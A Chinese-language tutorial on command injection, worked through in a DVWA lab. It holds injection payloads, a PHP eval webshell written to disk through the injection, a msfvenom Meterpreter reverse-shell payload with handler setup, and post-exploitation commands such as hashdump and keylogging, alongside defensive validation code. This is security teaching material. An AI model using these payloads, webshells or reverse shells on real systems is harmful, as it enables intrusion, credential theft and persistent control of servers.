命令执行漏洞

命令执行漏洞详解

🎯 前言

命令执行漏洞是Web安全领域中的一种高危漏洞,它允许攻击者在目标服务器上执行任意系统命令。本文将深入解析命令执行漏洞的原理、成因、利用方法以及防护策略,并通过DVWA靶场环境进行实战演示。


📋 目录

  1. 漏洞概述
  2. 漏洞原理
  3. 环境搭建
  4. 漏洞利用实战
  5. 后渗透操作
  6. 防护措施
  7. 总结

🔍 漏洞概述

什么是命令执行漏洞?

命令执行漏洞(Command Execution/Command Injection)是指当Web应用程序需要调用系统命令来完成某些功能时,由于对用户输入的过滤不严格,导致攻击者可以构造恶意的命令参数,从而在服务器上执行任意系统命令的安全漏洞。

漏洞危害

  • 服务器完全控制:获得服务器的命令执行权限
  • 数据泄露:访问敏感文件和数据库信息
  • 权限提升:通过系统漏洞进一步提升权限
  • 横向移动:以被攻陷服务器为跳板攻击内网其他系统
  • 恶意软件植入:上传后门程序或恶意软件

⚙️ 漏洞原理

技术原理

命令执行漏洞的根本原因在于应用程序直接将用户输入作为系统命令的参数,而没有进行适当的过滤和验证。

典型的脆弱代码示例:

1
2
3
4
5
6
7
8
9
10
<?php
// 获取用户输入的IP地址
$target = $_REQUEST['ip'];

// 直接将用户输入拼接到系统命令中
$cmd = shell_exec('ping -c 4 ' . $target);

// 输出结果
echo "<pre>$cmd</pre>";
?>

命令连接符

攻击者通常利用以下命令连接符来注入恶意命令:

连接符 说明 示例
; 命令分隔符 127.0.0.1; whoami
&& 逻辑与,前一个命令成功后执行后一个 127.0.0.1 && whoami
` `
` ` 管道符,将前一个命令的输出作为后一个命令的输入
& 后台执行 127.0.0.1 & whoami
$() 命令替换 127.0.0.1$(whoami)
反引号命令替换 127.0.0.1whoami

🌐 环境搭建

靶场环境配置

系统环境:

  • 操作系统:Windows 7
  • Web服务器:PHPStudy
  • 靶场程序:DVWA
  • DVWA路径:C:\download\phpstudy\phpstudy_pro\WWW\DVWA
  • 访问地址:http://192.168.147.136/DVWA/

环境准备步骤

  1. 安装PHPStudy
    • 下载并安装PHPStudy集成环境
    • 启动Apache和MySQL服务
  2. 部署DVWA
    • 下载DVWA源码
    • 解压到PHPStudy的WWW目录
    • 配置数据库连接
  3. 设置安全等级
    • 登录DVWA管理界面
    • 导航至DVWA Security
    • 将安全等级设置为Low

💥 漏洞利用实战

第一步:访问漏洞页面

打开浏览器访问命令执行漏洞测试页面:

1
http://192.168.147.136/DVWA/vulnerabilities/exec/

第二步:基础命令注入测试

在输入框中输入以下Payload进行测试:

1
127.0.0.1 && whoami

预期结果:

1
2
3
4
5
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.042 ms
...

nt authority\system

如果看到nt authority\system输出,说明命令注入成功!

第三步:信息收集

使用不同的命令收集系统信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看当前用户
127.0.0.1 && whoami

# 查看系统信息
127.0.0.1 && systeminfo

# 查看网络配置
127.0.0.1 && ipconfig

# 查看当前目录
127.0.0.1 && dir

# 查看进程列表
127.0.0.1 && tasklist

🎯 后渗透操作

方法一:上传Webshell

1. 准备一句话木马

创建shell.php文件:

1
<?php @eval($_POST['pass']); ?>

或者使用Base64编码版本:

1
<?php eval(base64_decode($_POST['cmd'])); ?>

2. 通过命令注入上传

使用echo命令写入一句话木马:

1
127.0.0.1 && echo ^<?php @eval($_POST['pass']); ?^> > C:\download\phpstudy\phpstudy_pro\WWW\DVWA\shell.php

注意事项:

  • ^符号是Windows cmd的转义符
  • >符号用于重定向输出到文件
  • 路径必须是Web目录下可访问的位置

3. 验证上传成功

访问上传的木马文件:

1
http://192.168.147.136/DVWA/shell.php

如果页面显示空白,说明PHP文件上传成功。

方法二:使用蚁剑连接

1. 配置蚁剑连接

连接参数:

  • URL: http://192.168.147.136/DVWA/shell.php
  • 密码: pass
  • 编码: UTF-8
  • 类型: PHP

2. 功能演示

通过蚁剑可以实现:

  • 文件管理:浏览、上传、下载、编辑文件
  • 数据库管理:连接和操作数据库
  • 虚拟终端:执行系统命令
  • 反向代理:建立隧道连接

方法三:MSF提权操作

1. 生成Meterpreter木马

在Kali Linux中执行:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.129 LPORT=4444 -f exe > shell.exe

参数说明:

  • -p: 指定Payload类型
  • LHOST: 攻击者IP地址
  • LPORT: 监听端口
  • -f: 输出格式

2. 上传木马文件

通过蚁剑将生成的shell.exe上传到目标服务器:

1
C:\Users\Public\shell.exe

3. 配置MSF监听器

启动Metasploit:

1
msfconsole

配置监听器:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.147.129
set lport 4444
exploit

4. 执行木马获取Meterpreter会话

在蚁剑终端或通过命令注入执行:

1
C:\Users\Public\shell.exe

成功建立连接后,可以使用Meterpreter的强大功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 获取系统信息
sysinfo

# 获取用户权限
getuid

# 提权到SYSTEM
getsystem

# 获取密码哈希
hashdump

# 截屏
screenshot

# 键盘记录
keyscan_start

🛡️ 防护措施

输入验证和过滤

1. 白名单验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function validateIP($ip) {
// 使用白名单验证IP地址格式
if (filter_var($ip, FILTER_VALIDATE_IP)) {
return $ip;
}
return false;
}

$target = $_REQUEST['ip'];
$validIP = validateIP($target);

if ($validIP) {
$cmd = shell_exec('ping -c 4 ' . escapeshellarg($validIP));
} else {
echo "Invalid IP address";
}
?>

2. 特殊字符过滤

1
2
3
4
5
6
7
<?php
function filterDangerousChars($input) {
// 过滤危险字符
$dangerous = array(';', '&', '|', '`', '$', '(', ')', '{', '}', '[', ']', '<', '>');
return str_replace($dangerous, '', $input);
}
?>

使用安全的API

避免直接调用系统命令

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 不安全的方式
$cmd = shell_exec('ping -c 4 ' . $target);

// 安全的方式:使用专门的函数
function securePing($ip) {
if (filter_var($ip, FILTER_VALIDATE_IP)) {
// 使用socket或其他安全方式实现ping功能
// 而不是直接调用系统命令
}
}
?>

权限控制

  1. 最小权限原则:Web应用程序应该以最小权限用户运行
  2. 禁用危险函数:在php.ini中禁用exec, shell_exec, system等函数
  3. 沙箱环境:将Web应用程序运行在受限的环境中

代码审计

定期进行代码安全审计,重点关注:

  • 用户输入处理
  • 系统命令调用
  • 文件操作
  • 数据库查询

📊 安全等级分析

DVWA各安全等级的防护机制

Low级别

1
2
3
4
5
<?php
// 完全没有过滤
$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);
?>

Medium级别

1
2
3
4
5
6
<?php
// 简单的黑名单过滤
$target = $_REQUEST['ip'];
$target = str_replace(array('&&', ';'), '', $target);
$cmd = shell_exec('ping -c 4 ' . $target);
?>

High级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// 更严格的过滤
$target = trim($_REQUEST['ip']);
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
$cmd = shell_exec('ping -c 4 ' . $target);
?>

🎓 学习要点

关键知识点总结

  1. 漏洞成因:缺乏输入验证和输出过滤
  2. 利用方法:命令连接符、特殊字符绕过
  3. 危害程度:服务器完全控制、数据泄露
  4. 防护策略:输入验证、权限控制、安全编码

渗透测试流程

  1. 信息收集:确定目标和攻击面
  2. 漏洞发现:寻找命令执行点
  3. 漏洞验证:确认漏洞存在
  4. 漏洞利用:获取系统权限
  5. 权限维持:上传后门、建立持久连接
  6. 痕迹清理:删除日志、恢复系统状态

⚠️ 免责声明

本文内容仅供网络安全学习和研究使用,请勿用于非法用途。任何个人或组织使用本文信息进行的违法活动,均与作者无关。读者应当遵守当地法律法规,在合法授权的环境下进行安全测试。